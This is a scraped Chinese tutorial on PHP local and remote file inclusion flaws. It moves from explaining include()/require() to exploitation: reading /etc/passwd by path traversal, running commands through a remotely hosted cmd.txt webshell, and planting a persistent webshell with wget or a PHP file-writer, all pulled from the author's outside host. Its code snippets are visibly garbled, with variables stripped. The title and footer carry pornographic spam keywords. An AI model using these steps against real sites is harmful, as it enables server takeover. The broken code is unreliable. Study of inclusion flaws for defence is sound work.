青草久久影院-青草久久伊人-青草久久久-青草久久精品亚洲综合专区-SM双性精跪趴灌憋尿调教H-SM脚奴调教丨踩踏贱奴

17站長網(wǎng)

17站長網(wǎng) 首頁 安全 安全教程 查看內(nèi)容

遠程包含和本地包含漏洞的原理

2022-9-24 10:15| 查看: 2414 |來源: 互聯(lián)網(wǎng)

首先,我們來討論包含文件漏洞,首先要問的是,什么才是"遠程文件包含漏洞"?回答是:服務(wù)器通過php的特性(函數(shù))去包含任意文件時,由于要包含的這個文件來 ...

首先,我們來討論包含文件漏洞,首先要問的是,什么才是"遠程文件包含漏洞"?回答是:服務(wù)器通過php的特性(函數(shù))去包含任意文件時,由于要包含的這個文件來源過濾不嚴,從而可去包含一個惡意文件,而我們可以構(gòu)造這個惡意文件來達到邪惡的目的。幾乎所有的 cgi程序都有這樣的 bug,只是具體的表現(xiàn)方式不一樣罷了。

一、涉及到的危險函數(shù)〔include(),require()和include_once(),require_once()〕

include() && require()語句:包括并運行指定文件。

這兩種結(jié)構(gòu)除了在如何處理失敗之外完全一樣。include() 產(chǎn)生一個警告而 require() 則導(dǎo)致一個致命錯誤。換句話說,如果你想在遇到丟失文件時停止處理頁面就用 require()。include() 就不是這樣,腳本會繼續(xù)運行。
如果"allow_url_fopen"在 PHP 中被激活(默認配置),也可以用 URL(通過 HTTP 或者其它支持的封裝協(xié)議)而不是本地文件來指定要被包括的文件。如果目標服務(wù)器將目標文件作為 PHP 代碼解釋,則可以用適用于HTTP GET 的 URL 請求字符串來向被包括的文件傳遞變量。

require_once() && include_once()

require_once ()和include_once() 語句在腳本執(zhí)行期間包括并運行指定文件。此行為和 require() 語句類似,唯一區(qū)別是如果該文件中的代碼已經(jīng)被包括了,則不會再次包括。適用于在腳本執(zhí)行期間同一個文件有可能被包括超過一次的情況下,你想確保它只被包括一次以避免函數(shù)重定義,變量重新賦值等問題。

二、為什么要包含文件

程序員寫程序的時候,不喜歡干同樣的事情,也不喜歡把同樣的代碼(比如一些公用的函數(shù))寫幾次,于是就把需要公用的代碼寫在一個單獨的文件里面,比如 share.php,而后在其它文件進行包含調(diào)用。在php里,我們就是使用上面列舉的那幾個函數(shù)來達到這個目的的,它的工作流程:如果你想在 main.php里包含share.php,我將這樣寫include("share.php")就達到目的,然后就可以使用share.php中的函數(shù)了,像這個寫死需要包含的文件名稱的自然沒有什么問題,也不會出現(xiàn)漏洞,那么問題到底是出在哪里呢?
有的時候可能不能確定需要包含哪個文件,比如先來看下面這個文件index.php的代碼:

CODE: [Copy to clipboard]
--------------------------------------------------------------------------------

if ([page]) {
include GET[page];
} else {
include "home.
}

很正常的一段PHP代碼,它是怎么運作的呢?這里面涉及到GET的意義,我就不打算講了(要不又能寫篇HTTP的文章了),如果你還不了解GET,POST,等,那么你需要再Google一些相關(guān)的資料好好補一補了。
上面這段代碼的使用格式可能是這樣的:http://www.1steam.cn/php/index.php?page=main.php或者http: //www.1steam.cn/php/index.php?page=downloads.php ,結(jié)合上面代碼,簡單說下怎么運作的:

1.提交上面這個URL,在index.php中就取得這個page的值(_GET[page])。
2.判斷GET[page]是不是空,若不空(這里是main.php)就用include來包含這個文件。
3.若_GET[page]空的話就執(zhí)行else,來include home.php 這個文件。

三、為什么會產(chǎn)生漏洞

你也許要說,這樣很好呀,可以按照URL來動態(tài)包含文件,多么方便呀,怎么產(chǎn)生漏洞的呢?問題的答案是:我們不乖巧,我們總喜歡和別人不一樣,我們不會按照他的鏈接來操作,我們可能想自己寫想包含(調(diào)用)的文件,比如我們會隨便的打入下面這個URL:http: //www.1steam.cn/php/index.php?page=hello.php。然后我們的index.php程序就傻傻按照上面我們說得步驟去執(zhí)行:取page為hello.php,然后去include(hello.php),這時問題出現(xiàn)了,因為我們并沒有hello.php這個文件,所以它 include的時候就會報警告,類似下列信息:

Quote:
Warning: include(hello.php) [function.include]: failed to open stream: No such file or directory in /vhost/wwwroot/php/index.php on line 3
Warning: include() [function.include]: Failed opening 'hello.php' for inclusion (include_path='.:') in /vhost/wwwroot/php/index.php on line 3

注意上面的那個Warning就是找不到我們指定的hello.php文件,也就是包含不到我們指定路徑的文件;而后面的警告是因為前面沒有找到指定文件,所以包含的時候就出警告了。

四、怎么利用

上面可以看到,問題出現(xiàn)了,那么我們怎么利用這樣的漏洞呢,利用方法其實很多,但是實質(zhì)上都是差不多的,我這里說三個比較常見的利用方法:

1.包含讀出目標機上其它文件

由前面我們可以看到,由于對取得的參數(shù)page沒有過濾,于是我們可以任意指定目標主機上的其它敏感文件,例如在前面的警告中,我們可以看到暴露的絕對路徑(vhost/wwwroot/php/),那么我們就可以多次探測來包含其它文件,比如指定URL為:http: //www.1steam.cn/php/index.php?page=./txt.txt 可以讀出當(dāng)前路徑下的txt.txt文件,也可以使用.. /../進行目錄跳轉(zhuǎn)(在沒過濾../的情況下);也可以直接指定絕對路徑,讀取敏感的系統(tǒng)文件,比如這個URL:http: //www.1steam.cn/php/index.php?page=/etc/passwd ,如果目標主機沒有對權(quán)限限制的很嚴格,或者啟動 Apache的權(quán)限比較高,是可以讀出這個文件內(nèi)容的。否則就會得到一個類似于:open_basedir restriction in effect.的Warning。

2.包含可運行的PHP木馬

如果目標主機的"allow_url_fopen"是激活的(默認是激活的,沒幾個人會修改),我們就可以有更大的利用空間,我們可以指定其它URL上的一個包含PHP代碼的webshell來直接運行,比如,我先寫一段運行命令的PHP代碼(加了注釋,應(yīng)該看得懂),如下保存為cmd.txt(后綴不重要,只要內(nèi)容為PHP格式就可以了)。

以上這個文件的作用就是接受cmd指定的命令,并調(diào)用passthru函數(shù)執(zhí)行,把內(nèi)容返回在1.S.T之間。把這個文件保存到我們主機的服務(wù)器上(可以是不支持PHP的主機),只要能通過HTTP訪問到就可以了,例如地址如下:http: //www.1ster.cn/cmd.txt ,然后我們就可以在那個漏洞主機上構(gòu)造如下URL來利用了:http: //www.1steam.cn/php/index.php?page=http://www.1ster.cn/cmd.txt?cmd=ls ,其中 cmd后面的就是你需要執(zhí)行的命令,其它常用的命令(以*UNIX為例)如下:

Quote:
ll 列目錄、文件(相當(dāng)于Windows下dir)
pwd 查看當(dāng)前絕對路徑
id whoami 查看當(dāng)前用戶
wget 下載指定URL的文件

等等其它的,你主機去BAIDU找吧,就不列舉了。

上面的方法就是得到一個Webshell了(雖然這個PHP文件不在目標機上,但是它確實是個Webshell,不是么?呵呵)

3.包含一個創(chuàng)建文件的PHP文件

也許有的人認為還是得到目標機上的一個真實的Webshell比較放心,萬一哪天人家發(fā)現(xiàn)這兒個包含漏洞修補了,我們就不能再遠程包含得到上面的那個"偽 "Webshell了,不是么?可以理解這個心態(tài),我們繼續(xù)。得到一個真實的Webshell,我們也說兩種常見的方法:

1)使用wget之類的命令來下載一個Webshell

這個比較簡單,也很常用,在上面我們得到的那個偽webshell中,我們可以執(zhí)行命令,那么我們也可以調(diào)用系統(tǒng)中的一個很厲害的角色, wget,這個命令的強大你可以google下,參數(shù)一大堆,絕對搞暈?zāi)悖呛牵覀儾恍枰敲磸?fù)雜,我們就使用一個-O(--output- document=FILE,把文檔寫到FILE文件中) 就可以了,呵呵。

前提是你在按照前面的步驟放一個包含PHP代碼的Webshell在一個可以通過HTTP或者FTP等可以訪問的地方,比如:http: //www.1ster.cn/1stphp.txt ,這個文件里寫的就是Webshell的內(nèi)容。然后我們在前面得到的偽Webshell中執(zhí)行如下的 URL:http://www.1steam.cn/php/index.p ... w.1ster.cn/cmd.txt? cmd=wget http://www.1ster.cn/1stphp.txt -O 1stphp.php ,如果當(dāng)前目錄可寫,就能得到一個叫做1stphp.php的Webshell了;如果當(dāng)前目錄不可寫,還需要想其它的辦法。

2)使用文件來創(chuàng)建

前面的wget可能會遇到當(dāng)前目錄不能寫的情況;或者目標主機禁用了(或者沒裝)這個命令,我們又需要變通一下了,我們可以結(jié)合前面的包含文件漏洞來包含一個創(chuàng)建文件(寫文件)的PHP腳本,內(nèi)容如下:

CODE: [Copy to clipboard]
--------------------------------------------------------------------------------

$f=file_get_contents("www.1ster.cn/1stphp.打開指定路徑的文件流
$=fopen("./upload/1st.php","a");     //尋找一個可以的目錄,創(chuàng)建一個文件
fwrite (,$f);  //把前面打開的文件流寫到創(chuàng)建的文件里
fclose();    //關(guān)閉保存文件
?>

還是寫入我們上面用wget下載的那個php文件,但是我們改進了方法,用PHP腳本來實現(xiàn),可以使用上面的cmd.php?cmd=ll查找可以寫的目錄,比如這里的upload,然后把文件創(chuàng)建在這個目錄下:./upload/1st.php。然后就得到我們的Webshell了。

本文最后更新于 2022-9-24 10:15,某些文章具有時效性,若有錯誤或已失效,請在網(wǎng)站留言或聯(lián)系站長:[email protected]
·END·
站長網(wǎng)微信號:w17tui,關(guān)注站長、創(chuàng)業(yè)、關(guān)注互聯(lián)網(wǎng)人 - 互聯(lián)網(wǎng)創(chuàng)業(yè)者營銷服務(wù)中心

免責(zé)聲明:本站部分文章和圖片均來自用戶投稿和網(wǎng)絡(luò)收集,旨在傳播知識,文章和圖片版權(quán)歸原作者及原出處所有,僅供學(xué)習(xí)與參考,請勿用于商業(yè)用途,如果損害了您的權(quán)利,請聯(lián)系我們及時修正或刪除。謝謝!

17站長網(wǎng)微信二維碼

始終以前瞻性的眼光聚焦站長、創(chuàng)業(yè)、互聯(lián)網(wǎng)等領(lǐng)域,為您提供最新最全的互聯(lián)網(wǎng)資訊,幫助站長轉(zhuǎn)型升級,為互聯(lián)網(wǎng)創(chuàng)業(yè)者提供更加優(yōu)質(zhì)的創(chuàng)業(yè)信息和品牌營銷服務(wù),與站長一起進步!讓互聯(lián)網(wǎng)創(chuàng)業(yè)者不再孤獨!

掃一掃,關(guān)注站長網(wǎng)微信

大家都在看

    熱門排行

      最近更新

        返回頂部
        主站蜘蛛池模板: 国产一区二区在线观看免费 | 成人国产免费 | 在线看片韩国免费人成视频 | 丹麦1o一19sex性hdhd | 肉动漫无码无删减在线观看 | 国产精品JK白丝AV网站 | 黄色三级网址 | 亚洲精品久久久午夜福利电影网 | 2018久久视频在线视频观看 | 在线免费中文字幕 | 2020最新国产自产精品 | 国产精自产拍久久久久久蜜 | 亚洲大片免费 | 国产露脸A片国语露对白 | 校花的奶好大好浪 | 免费视频亚洲 | 免费特黄一区二区三区视频一 | 北条麻妃久久99精品 | 久久影院中文字幕 | 97豆奶视频国产 | 在线播放一区二区精品产 | 日本在线高清不卡免费播放 | 秋霞网韩国理伦片免费看 | 免费观看成人毛片 | 黄色三级三级三级免费看 | a免费视频 | 全黄H全肉禁乱公 | 亚洲 自拍 欧洲 视频二区 | 男生扒开美女尿口戳戳 | 性夜a爽黄爽 | 国产精品一区二区亚瑟不卡 | 亚洲精品卡2卡3卡4卡5卡区 | 亚洲AV 无码AV 中文字幕 | 国产成人高清在线观看播放 | 日本zljzljzlj精品| 老湿司午夜爽爽影院榴莲视频 | 恋夜影视列表免费安卓手机版 | 久久久免费观成人影院 | 99午夜视频| 久久青草影院 | 解开白丝老师的短裙猛烈进入 |